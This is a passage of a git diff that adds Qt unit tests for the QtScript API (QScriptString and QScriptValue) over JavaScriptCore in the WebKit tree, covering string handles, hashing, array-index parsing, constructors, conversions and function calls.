+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef tst_qscriptstring_h
+#define tst_qscriptstring_h
+
+#include "qscriptengine.h"
+#include "qscriptstring.h"
+#include <QtCore/qhash.h>
+#include <QtTest/QtTest>
+
+class tst_QScriptString : public QObject {
+    Q_OBJECT
+
+public:
+    tst_QScriptString();
+    virtual ~tst_QScriptString();
+
+private slots:
+    void test();
+    void hash();
+    void toArrayIndex_data();
+    void toArrayIndex();
+};
+
+tst_QScriptString::tst_QScriptString()
+{
+}
+
+tst_QScriptString::~tst_QScriptString()
+{
+}
+
+void tst_QScriptString::test()
+{
+    QScriptEngine eng;
+    {
+        QScriptString str;
+        QVERIFY(!str.isValid());
+        QVERIFY(str == str);
+        QVERIFY(!(str != str));
+        QVERIFY(str.toString().isNull());
+
+        QScriptString str1(str);
+        QVERIFY(!str1.isValid());
+
+        QScriptString str2 = str;
+        QVERIFY(!str2.isValid());
+
+        QCOMPARE(str.toArrayIndex(), quint32(0xffffffff));
+    }
+    for (int x = 0; x < 2; ++x) {
+        QString ciao = QString::fromLatin1("ciao");
+        QScriptString str = eng.toStringHandle(ciao);
+        QVERIFY(str.isValid());
+        QVERIFY(str == str);
+        QVERIFY(!(str != str));
+        QCOMPARE(str.toString(), ciao);
+
+        QScriptString str1(str);
+        QCOMPARE(str, str1);
+
+        QScriptString str2 = str;
+        QCOMPARE(str, str2);
+
+        QScriptString str3 = eng.toStringHandle(ciao);
+        QVERIFY(str3.isValid());
+        QCOMPARE(str, str3);
+
+        eng.collectGarbage();
+
+        QVERIFY(str.isValid());
+        QCOMPARE(str.toString(), ciao);
+        QVERIFY(str1.isValid());
+        QCOMPARE(str1.toString(), ciao);
+        QVERIFY(str2.isValid());
+        QCOMPARE(str2.toString(), ciao);
+        QVERIFY(str3.isValid());
+        QCOMPARE(str3.toString(), ciao);
+    }
+    {
+        QScriptEngine* eng2 = new QScriptEngine;
+        QString one = QString::fromLatin1("one");
+        QString two = QString::fromLatin1("two");
+        QScriptString oneInterned = eng2->toStringHandle(one);
+        QCOMPARE(oneInterned.toString(), one);
+        QScriptString twoInterned = eng2->toStringHandle(two);
+        QCOMPARE(twoInterned.toString(), two);
+        QVERIFY(oneInterned != twoInterned);
+        QVERIFY(!(oneInterned == twoInterned));
+
+        delete eng2;
+    }
+}
+
+void tst_QScriptString::hash()
+{
+    QScriptEngine engine;
+    QHash<QScriptString, int> stringToInt;
+    QScriptString foo = engine.toStringHandle("foo");
+
+    QScriptString bar = engine.toStringHandle("bar");
+    QVERIFY(!stringToInt.contains(foo));
+    for (int i = 0; i < 1000000; ++i)
+        stringToInt.insert(foo, 123);
+    QCOMPARE(stringToInt.value(foo), 123);
+    QVERIFY(!stringToInt.contains(bar));
+    stringToInt.insert(bar, 456);
+    QCOMPARE(stringToInt.value(bar), 456);
+    QCOMPARE(stringToInt.value(foo), 123);
+}
+
+void tst_QScriptString::toArrayIndex_data()
+{
+    QTest::addColumn<QString>("input");
+    QTest::addColumn<bool>("expectSuccess");
+    QTest::addColumn<quint32>("expectedIndex");
+    QTest::newRow("foo") << QString::fromLatin1("foo") << false << quint32(0xffffffff);
+    QTest::newRow("empty") << QString::fromLatin1("") << false << quint32(0xffffffff);
+    QTest::newRow("0") << QString::fromLatin1("0") << true << quint32(0);
+    QTest::newRow("00") << QString::fromLatin1("00") << false << quint32(0xffffffff);
+    QTest::newRow("1") << QString::fromLatin1("1") << true << quint32(1);
+    QTest::newRow("123") << QString::fromLatin1("123") << true << quint32(123);
+    QTest::newRow("-1") << QString::fromLatin1("-1") << false << quint32(0xffffffff);
+    QTest::newRow("0a") << QString::fromLatin1("0a") << false << quint32(0xffffffff);
+    QTest::newRow("0x1") << QString::fromLatin1("0x1") << false << quint32(0xffffffff);
+    QTest::newRow("01") << QString::fromLatin1("01") << false << quint32(0xffffffff);
+    QTest::newRow("101a") << QString::fromLatin1("101a") << false << quint32(0xffffffff);
+    QTest::newRow("4294967294") << QString::fromLatin1("4294967294") << true << quint32(0xfffffffe);
+    QTest::newRow("4294967295") << QString::fromLatin1("4294967295") << false << quint32(0xffffffff);
+    QTest::newRow("11111111111") << QString::fromLatin1("11111111111") << false << quint32(0xffffffff);
+    QTest::newRow("0.0") << QString::fromLatin1("0.0") << false << quint32(0xffffffff);
+    QTest::newRow("1.0") << QString::fromLatin1("1.0") << false << quint32(0xffffffff);
+    QTest::newRow("1.5") << QString::fromLatin1("1.5") << false << quint32(0xffffffff);
+    QTest::newRow("1.") << QString::fromLatin1("1.") << false << quint32(0xffffffff);
+    QTest::newRow(".1") << QString::fromLatin1(".1") << false << quint32(0xffffffff);
+    QTest::newRow("1e0") << QString::fromLatin1("1e0") << false << quint32(0xffffffff);
+}
+
+void tst_QScriptString::toArrayIndex()
+{
+    QFETCH(QString, input);
+    QFETCH(bool, expectSuccess);
+    QFETCH(quint32, expectedIndex);
+    QScriptEngine engine;
+    for (int x = 0; x < 2; ++x) {
+        bool isArrayIndex;
+        bool* ptr = (!x) ? &isArrayIndex : (bool*)0;
+        quint32 result = engine.toStringHandle(input).toArrayIndex(ptr);
+        if (!x)
+            QCOMPARE(isArrayIndex, expectSuccess);
+        QCOMPARE(result, expectedIndex);
+    }
+}
+
+QTEST_MAIN(tst_QScriptString)
+#include "tst_qscriptstring.moc"
+
+#endif // tst_qscriptstring_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/qscriptvalue.pro b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/qscriptvalue.pro
new file mode 100644
index 0000000..35cc17d
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/qscriptvalue.pro
@@ -0,0 +1,12 @@
+TEMPLATE = app
+TARGET = tst_qscriptvalue
+QT += testlib
+isEmpty(OUTPUT_DIR): OUTPUT_DIR = ../../../..
+include(../tests.pri)
+
+SOURCES += \
+    tst_qscriptvalue.cpp \
+    tst_qscriptvalue_generated.cpp
+
+HEADERS += \
+    tst_qscriptvalue.h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/tst_qscriptvalue.cpp b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/tst_qscriptvalue.cpp
new file mode 100644
index 0000000..82f0901
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/tst_qscriptvalue.cpp
@@ -0,0 +1,435 @@
+/*
+    Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "tst_qscriptvalue.h"
+#include <QtCore/qnumeric.h>
+
+tst_QScriptValue::tst_QScriptValue()
+    : engine(0)
+{
+}
+
+tst_QScriptValue::~tst_QScriptValue()
+{
+    delete engine;
+}
+
+void tst_QScriptValue::dataHelper(InitDataFunction init, DefineDataFunction define)
+{
+    QTest::addColumn<QString>("__expression__");
+    (this->*init)();
+    QHash<QString, QScriptValue>::const_iterator it;
+    for (it = m_values.constBegin(); it != m_values.constEnd(); ++it) {
+        m_currentExpression = it.key();
+        (this->*define)(it.key().toLatin1());
+    }
+    m_currentExpression = QString();
+}
+
+QTestData& tst_QScriptValue::newRow(const char* tag)
+{
+    return QTest::newRow(tag) << m_currentExpression;
+}
+
+void tst_QScriptValue::testHelper(TestFunction fun)
+{
+    QFETCH(QString, __expression__);
+    QScriptValue value = m_values.value(__expression__);
+    (this->*fun)(__expression__.toLatin1(), value);
+}
+
+
+void tst_QScriptValue::ctor()
+{
+    QScriptEngine eng;
+    {
+        QScriptValue v;
+        QCOMPARE(v.isValid(), false);
+        QCOMPARE(v.engine(), (QScriptEngine*)0);
+    }
+    {
+        QScriptValue v(&eng, QScriptValue::UndefinedValue);
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isUndefined(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.engine(), &eng);
+    }
+    {
+        QScriptValue v(&eng, QScriptValue::NullValue);
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isNull(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.engine(), &eng);
+    }
+    {
+        QScriptValue v(&eng, false);
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isBoolean(), true);
+        QCOMPARE(v.isBool(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toBoolean(), false);
+        QCOMPARE(v.engine(), &eng);
+    }
+    {
+        QScriptValue v(&eng, int(1));
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isNumber(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toNumber(), 1.0);
+        QCOMPARE(v.engine(), &eng);
+    }
+    {
+        QScriptValue v(int(0x43211234));
+        QVERIFY(v.isNumber());
+        QCOMPARE(v.toInt32(), 0x43211234);
+    }
+    {
+        QScriptValue v(&eng, uint(1));
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isNumber(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toNumber(), 1.0);
+        QCOMPARE(v.engine(), &eng);
+    }
+    {
+        QScriptValue v(uint(0x43211234));
+        QVERIFY(v.isNumber());
+        QCOMPARE(v.toUInt32(), uint(0x43211234));
+    }
+    {
+        QScriptValue v(&eng, 1.0);
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isNumber(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toNumber(), 1.0);
+        QCOMPARE(v.engine(), &eng);
+    }
+    {
+        QScriptValue v(12345678910.5);
+        QVERIFY(v.isNumber());
+        QCOMPARE(v.toNumber(), 12345678910.5);
+    }
+    {
+        QScriptValue v(&eng, "ciao");
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isString(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toString(), QLatin1String("ciao"));
+        QCOMPARE(v.engine(), &eng);
+    }
+    {
+        QScriptValue v(&eng, QString("ciao"));
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isString(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toString(), QLatin1String("ciao"));
+        QCOMPARE(v.engine(), &eng);
+    }
+    // copy constructor, operator=
+    {
+        QScriptValue v(&eng, 1.0);
+        QScriptValue v2(v);
+        QCOMPARE(v2.strictlyEquals(v), true);
+        QCOMPARE(v2.engine(), &eng);
+
+        QScriptValue v3(v);
+        QCOMPARE(v3.strictlyEquals(v), true);
+        QCOMPARE(v3.strictlyEquals(v2), true);
+        QCOMPARE(v3.engine(), &eng);
+
+        QScriptValue v4(&eng, 2.0);
+        QCOMPARE(v4.strictlyEquals(v), false);
+        v3 = v4;
+        QCOMPARE(v3.strictlyEquals(v), false);
+        QCOMPARE(v3.strictlyEquals(v4), true);
+
+        v2 = QScriptValue();
+        QCOMPARE(v2.strictlyEquals(v), false);
+        QCOMPARE(v.toNumber(), 1.0);
+
+        QScriptValue v5(v);
+        QCOMPARE(v5.strictlyEquals(v), true);
+        v = QScriptValue();
+        QCOMPARE(v5.strictlyEquals(v), false);
+        QCOMPARE(v5.toNumber(), 1.0);
+    }
+
+    // constructors that take no engine argument
+    {
+        QScriptValue v(QScriptValue::UndefinedValue);
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isUndefined(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.engine(), (QScriptEngine*)0);
+    }
+    {
+        QScriptValue v(QScriptValue::NullValue);
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isNull(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.engine(), (QScriptEngine*)0);
+    }
+    {
+        QScriptValue v(false);
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isBoolean(), true);
+        QCOMPARE(v.isBool(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toBoolean(), false);
+        QCOMPARE(v.engine(), (QScriptEngine*)0);
+    }
+    {
+        QScriptValue v(int(1));
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isNumber(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toNumber(), 1.0);
+        QCOMPARE(v.engine(), (QScriptEngine*)0);
+    }
+    {
+        QScriptValue v(uint(1));
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isNumber(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toNumber(), 1.0);
+        QCOMPARE(v.engine(), (QScriptEngine*)0);
+    }
+    {
+        QScriptValue v(1.0);
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isNumber(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toNumber(), 1.0);
+        QCOMPARE(v.engine(), (QScriptEngine*)0);
+    }
+    {
+        QScriptValue v("ciao");
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isString(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toString(), QLatin1String("ciao"));
+        QCOMPARE(v.engine(), (QScriptEngine*)0);
+    }
+    {
+        QScriptValue v(QString("ciao"));
+        QCOMPARE(v.isValid(), true);
+        QCOMPARE(v.isString(), true);
+        QCOMPARE(v.isObject(), false);
+        QCOMPARE(v.toString(), QLatin1String("ciao"));
+        QCOMPARE(v.engine(), (QScriptEngine*)0);
+    }
+    // copy constructor, operator=
+    {
+        QScriptValue v(1.0);
+        QScriptValue v2(v);
+        QCOMPARE(v2.strictlyEquals(v), true);
+        QCOMPARE(v2.engine(), (QScriptEngine*)0);
+
+        QScriptValue v3(v);
+        QCOMPARE(v3.strictlyEquals(v), true);
+        QCOMPARE(v3.strictlyEquals(v2), true);
+        QCOMPARE(v3.engine(), (QScriptEngine*)0);
+
+        QScriptValue v4(2.0);
+        QCOMPARE(v4.strictlyEquals(v), false);
+        v3 = v4;
+        QCOMPARE(v3.strictlyEquals(v), false);
+        QCOMPARE(v3.strictlyEquals(v4), true);
+
+        v2 = QScriptValue();
+        QCOMPARE(v2.strictlyEquals(v), false);
+        QCOMPARE(v.toNumber(), 1.0);
+
+        QScriptValue v5(v);
+        QCOMPARE(v5.strictlyEquals(v), true);
+        v = QScriptValue();
+        QCOMPARE(v5.strictlyEquals(v), false);
+        QCOMPARE(v5.toNumber(), 1.0);
+    }
+
+    // 0 engine
+    QVERIFY(QScriptValue(0, QScriptValue::UndefinedValue).isUndefined());
+    QVERIFY(QScriptValue(0, QScriptValue::NullValue).isNull());
+    QVERIFY(QScriptValue(0, false).isBool());
+    QVERIFY(QScriptValue(0, int(1)).isNumber());
+    QVERIFY(QScriptValue(0, uint(1)).isNumber());
+    QVERIFY(QScriptValue(0, 1.0).isNumber());
+    QVERIFY(QScriptValue(0, "ciao").isString());
+    QVERIFY(QScriptValue(0, QString("ciao")).isString());
+}
+
+void tst_QScriptValue::toStringSimple_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("result");
+
+    QTest::newRow("string") << QString::fromAscii("'hello'") << QString::fromAscii("hello");
+    QTest::newRow("string utf") << QString::fromUtf8("'ąśćżźółńę'") << QString::fromUtf8("ąśćżźółńę");
+    QTest::newRow("expression") << QString::fromAscii("1 + 4") << QString::fromAscii("5");
+    QTest::newRow("null") << QString::fromAscii("null") << QString::fromAscii("null");
+    QTest::newRow("boolean") << QString::fromAscii("false") << QString::fromAscii("false");
+    QTest::newRow("undefined") << QString::fromAscii("undefined") << QString::fromAscii("undefined");
+    QTest::newRow("object") << QString::fromAscii("new Object") << QString::fromAscii("[object Object]");
+}
+
+/* Test conversion to string from different JSC types */
+void tst_QScriptValue::toStringSimple()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, result);
+
+    QScriptEngine engine;
+    QCOMPARE(engine.evaluate(code).toString(), result);
+}
+
+void tst_QScriptValue::copyConstructor_data()
+{
+    QScriptEngine engine;
+    QScriptValue nnumber(123);
+    QScriptValue nstring("ping");
+    QScriptValue number(engine.evaluate("1"));
+    QScriptValue string(engine.evaluate("'foo'"));
+    QScriptValue object(engine.evaluate("new Object"));
+    QScriptValue undefined(engine.evaluate("undefined"));
+    QScriptValue null(engine.evaluate("null"));
+
+    QTest::addColumn<QScriptValue>("value");
+    QTest::addColumn<QString>("result");
+
+    QTest::newRow("native number") << nnumber << QString::number(123);
+    QTest::newRow("native string") << nstring << QString("ping");
+    QTest::newRow("number") << number << QString::fromAscii("1");
+    QTest::newRow("string") << string << QString::fromAscii("foo");
+    QTest::newRow("object") << object << QString::fromAscii("[object Object]");
+    QTest::newRow("undefined") << undefined << QString::fromAscii("undefined");
+    QTest::newRow("null") << null << QString::fromAscii("null");
+}
+
+void tst_QScriptValue::copyConstructor()
+{
+    QFETCH(QScriptValue, value);
+    QFETCH(QString, result);
+
+    QVERIFY(value.isValid());
+    QScriptValue tmp(value);
+    QVERIFY(tmp.isValid());
+    QCOMPARE(tmp.toString(), result);
+}
+
+void tst_QScriptValue::assignOperator_data()
+{
+    copyConstructor_data();
+}
+
+void tst_QScriptValue::assignOperator()
+{
+    QFETCH(QScriptValue, value);
+    QFETCH(QString, result);
+
+    QScriptValue tmp;
+    tmp = value;
+    QVERIFY(tmp.isValid());
+    QCOMPARE(tmp.toString(), result);
+}
+
+/* Test internal data sharing between a diffrenet QScriptValue. */
+void tst_QScriptValue::dataSharing()
+{
+    QScriptEngine engine;
+    QScriptValue v1;
+    QScriptValue v2(v1);
+
+    v1 = engine.evaluate("1"); // v1 == 1 ; v2 invalid.
+    QVERIFY(v1.isValid());
+    QVERIFY(!v2.isValid());
+
+    v2 = v1; // v1 == 1; v2 == 1.
+    QVERIFY(v1.isValid());
+    QVERIFY(v2.isValid());
+
+    v1 = engine.evaluate("obj = new Date"); // v1 == [object Date] ; v2 == 1.
+    QVERIFY(v1.isValid());
+    QVERIFY(v2.isValid());
+    QVERIFY(v2.toString() != v1.toString());
+
+    // TODO add object manipulation (v1 and v2 point to the same object).
+}
+
+void tst_QScriptValue::constructors_data()
+{
+    QScriptEngine engine;
+
+    QTest::addColumn<QScriptValue>("value");
+    QTest::addColumn<QString>("string");
+    QTest::addColumn<bool>("valid");
+    QTest::addColumn<bool>("object");
+
+    QTest::newRow("invalid") << QScriptValue() << QString() << false << false;
+    QTest::newRow("number") << QScriptValue(-21) << QString::number(-21) << true << false;
+    QTest::newRow("bool") << QScriptValue(true) << QString::fromAscii("true") << true << false;
+    QTest::newRow("double") << QScriptValue(21.12) << QString::number(21.12) << true << false;
+    QTest::newRow("string") << QScriptValue("AlaMaKota") << QString::fromAscii("AlaMaKota") << true << false;
+    QTest::newRow("object") << engine.evaluate("new Object") << QString::fromAscii("[object Object]") << true << true;
+    QTest::newRow("null") << QScriptValue(QScriptValue::NullValue)<< QString::fromAscii("null") << true << false;
+    QTest::newRow("undef") << QScriptValue(QScriptValue::UndefinedValue)<< QString::fromAscii("undefined") << true << false;
+}
+
+void tst_QScriptValue::constructors()
+{
+    QFETCH(QScriptValue, value);
+    QFETCH(QString, string);
+    QFETCH(bool, valid);
+    QFETCH(bool, object);
+
+    QCOMPARE(value.isValid(), valid);
+    QCOMPARE(value.toString(), string);
+    QCOMPARE(value.isObject(), object);
+}
+
+void tst_QScriptValue::call()
+{
+    QScriptEngine engine;
+    QScriptValue ping = engine.evaluate("( function() {return 'ping';} )");
+    QScriptValue incr = engine.evaluate("( function(i) {return i + 1;} )");
+    QScriptValue one(1);
+    QScriptValue five(5);
+    QScriptValue result;
+
+    QVERIFY(one.isValid());
+    QVERIFY(five.isValid());
+
+    QVERIFY(ping.isValid());
+    QVERIFY(ping.isFunction());
+    result = ping.call();
+    QVERIFY(result.isValid());
+    QCOMPARE(result.toString(), QString::fromUtf8("ping"));
+
+    QVERIFY(incr.isValid());
+    QVERIFY(incr.isFunction());
+    result = incr.call(QScriptValue(), QScriptValueList() << one);
+    QVERIFY(result.isValid());
+    QCOMPARE(result.toString(), QString("2"));
+
+    QCOMPARE(incr.call(QScriptValue(), QScriptValueList() << five).toString(), QString::fromAscii("6"));
+
+    QVERIFY(incr.call().isValid()); // Exception.
+}
+
+
+QTEST_MAIN(tst_QScriptValue)
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/tst_qscriptvalue.h b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/tst_qscriptvalue.h
new file mode 100644
index 0000000..28154a9
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/tst_qscriptvalue.h
@@ -0,0 +1,196 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef tst_qscriptvalue_h
+#define tst_qscriptvalue_h
+
+#include "qscriptengine.h"
+#include "qscriptvalue.h"
+#include <QtCore/qnumeric.h>
+#include <QtTest/qtest.h>
+
+Q_DECLARE_METATYPE(QScriptValue*);
+Q_DECLARE_METATYPE(QScriptValue);
+
+class tst_QScriptValue : public QObject {
+    Q_OBJECT
+
+public:
+    tst_QScriptValue();
+    virtual ~tst_QScriptValue();
+
+private slots:
+    void toStringSimple_data();
+    void toStringSimple();
+    void copyConstructor_data();
+    void copyConstructor();
+    void assignOperator_data();
+    void assignOperator();
+    void dataSharing();
+    void constructors_data();
+    void constructors();
+    void call();
+    void ctor();
+
+    // Generated test functions.
+    void isBool_data();
+    void isBool();
+
+    void isBoolean_data();
+    void isBoolean();
+
+    void isNumber_data();
+    void isNumber();
+
+    void isFunction_data();
+    void isFunction();
+
+    void isNull_data();
+    void isNull();
+
+    void isObject_data();
+    void isObject();
+
+    void isString_data();
+    void isString();
+
+    void isUndefined_data();
+    void isUndefined();
+
+    void isValid_data();
+    void isValid();
+
+    void toString_data();
+    void toString();
+
+    void toNumber_data();
+    void toNumber();
+
+    void toBool_data();
+    void toBool();
+
+    void toBoolean_data();
+    void toBoolean();
+
+    void toInteger_data();
+    void toInteger();
+
+    void toInt32_data();
+    void toInt32();
+
+    void toUInt32_data();
+    void toUInt32();
+
+    void toUInt16_data();
+    void toUInt16();
+
+private:
+    typedef void (tst_QScriptValue::*InitDataFunction)();
+    typedef void (tst_QScriptValue::*DefineDataFunction)(const char*);
+    void dataHelper(InitDataFunction init, DefineDataFunction define);
+    QTestData& newRow(const char* tag);
+
+    typedef void (tst_QScriptValue::*TestFunction)(const char*, const QScriptValue&);
+    void testHelper(TestFunction fun);
+
+    // Generated functions
+
+    void initScriptValues();
+
+    void isBool_initData();
+    void isBool_makeData(const char* expr);
+    void isBool_test(const char* expr, const QScriptValue& value);
+
+    void isBoolean_initData();
+    void isBoolean_makeData(const char* expr);
+    void isBoolean_test(const char* expr, const QScriptValue& value);
+
+    void isNumber_initData();
+    void isNumber_makeData(const char* expr);
+    void isNumber_test(const char* expr, const QScriptValue&);
+
+    void isFunction_initData();
+    void isFunction_makeData(const char* expr);
+    void isFunction_test(const char* expr, const QScriptValue& value);
+
+    void isNull_initData();
+    void isNull_makeData(const char* expr);
+    void isNull_test(const char* expr, const QScriptValue& value);
+
+    void isObject_initData();
+    void isObject_makeData(const char* expr);
+    void isObject_test(const char* expr, const QScriptValue& value);
+
+    void isString_initData();
+    void isString_makeData(const char* expr);
+    void isString_test(const char* expr, const QScriptValue& value);
+
+    void isUndefined_initData();
+    void isUndefined_makeData(const char* expr);
+    void isUndefined_test(const char* expr, const QScriptValue& value);
+
+    void isValid_initData();
+    void isValid_makeData(const char* expr);
+    void isValid_test(const char* expr, const QScriptValue& value);
+
+    void toString_initData();
+    void toString_makeData(const char*);
+    void toString_test(const char*, const QScriptValue&);
+
+    void toNumber_initData();
+    void toNumber_makeData(const char*);
+    void toNumber_test(const char*, const QScriptValue&);
+
+    void toBool_initData();
+    void toBool_makeData(const char*);
+    void toBool_test(const char*, const QScriptValue&);
+
+    void toBoolean_initData();
+    void toBoolean_makeData(const char*);
+    void toBoolean_test(const char*, const QScriptValue&);
+
+    void toInteger_initData();
+    void toInteger_makeData(const char*);
+    void toInteger_test(const char*, const QScriptValue&);
+
+    void toInt32_initData();
+    void toInt32_makeData(const char*);
+    void toInt32_test(const char*, const QScriptValue&);
+
+    void toUInt32_initData();
+    void toUInt32_makeData(const char*);
+    void toUInt32_test(const char*, const QScriptValue&);
+
+    void toUInt16_initData();
+    void toUInt16_makeData(const char*);
+    void toUInt16_test(const char*, const QScriptValue&);
+
+private:
+    QScriptEngine* engine;
+    QHash<QString, QScriptValue> m_values;
+    QString m_currentExpression;
+};
+
+#define DEFINE_TEST_FUNCTION(name) \
+void tst_QScriptValue::name##_data() { dataHelper(&tst_QScriptValue::name##_initData, &tst_QScriptValue::name##_makeData); } \
+void tst_QScriptValue::name() { testHelper(&tst_QScriptValue::name##_test); }
+
+
+
+#endif // tst_qscriptvalue_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/tst_qscriptvalue_generated.cpp b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/tst_qscriptvalue_generated.cpp
new file mode 100644
index 0000000..970c960
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/qt/tests/qscriptvalue/tst_qscriptvalue_generated.cpp
@@ -0,0 +1,1922 @@
+/*
+    Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "tst_qscriptvalue.h"
+
+#define DEFINE_TEST_VALUE(expr) m_values.insert(QString::fromLatin1(#expr), expr)
+
+void tst_QScriptValue::initScriptValues()
+{
+    m_values.clear();
+    if (engine)
+        delete engine;
+    engine = new QScriptEngine;
+    DEFINE_TEST_VALUE(QScriptValue());
+    DEFINE_TEST_VALUE(QScriptValue(QScriptValue::UndefinedValue));
+    DEFINE_TEST_VALUE(QScriptValue(QScriptValue::NullValue));
+    DEFINE_TEST_VALUE(QScriptValue(true));
+    DEFINE_TEST_VALUE(QScriptValue(false));
+    DEFINE_TEST_VALUE(QScriptValue(int(122)));
+    DEFINE_TEST_VALUE(QScriptValue(uint(124)));
+    DEFINE_TEST_VALUE(QScriptValue(0));
+    DEFINE_TEST_VALUE(QScriptValue(0.0));
+    DEFINE_TEST_VALUE(QScriptValue(123.0));
+    DEFINE_TEST_VALUE(QScriptValue(6.37e-8));
+    DEFINE_TEST_VALUE(QScriptValue(-6.37e-8));
+    DEFINE_TEST_VALUE(QScriptValue(0x43211234));
+    DEFINE_TEST_VALUE(QScriptValue(0x10000));
+    DEFINE_TEST_VALUE(QScriptValue(0x10001));
+    DEFINE_TEST_VALUE(QScriptValue(qSNaN()));
+    DEFINE_TEST_VALUE(QScriptValue(qQNaN()));
+    DEFINE_TEST_VALUE(QScriptValue(qInf()));
+    DEFINE_TEST_VALUE(QScriptValue(-qInf()));
+    DEFINE_TEST_VALUE(QScriptValue("NaN"));
+    DEFINE_TEST_VALUE(QScriptValue("Infinity"));
+    DEFINE_TEST_VALUE(QScriptValue("-Infinity"));
+    DEFINE_TEST_VALUE(QScriptValue("ciao"));
+    DEFINE_TEST_VALUE(QScriptValue(QString::fromLatin1("ciao")));
+    DEFINE_TEST_VALUE(QScriptValue(QString("")));
+    DEFINE_TEST_VALUE(QScriptValue(QString()));
+    DEFINE_TEST_VALUE(QScriptValue(QString("0")));
+    DEFINE_TEST_VALUE(QScriptValue(QString("123")));
+    DEFINE_TEST_VALUE(QScriptValue(QString("12.4")));
+    DEFINE_TEST_VALUE(QScriptValue(0, QScriptValue::UndefinedValue));
+    DEFINE_TEST_VALUE(QScriptValue(0, QScriptValue::NullValue));
+    DEFINE_TEST_VALUE(QScriptValue(0, true));
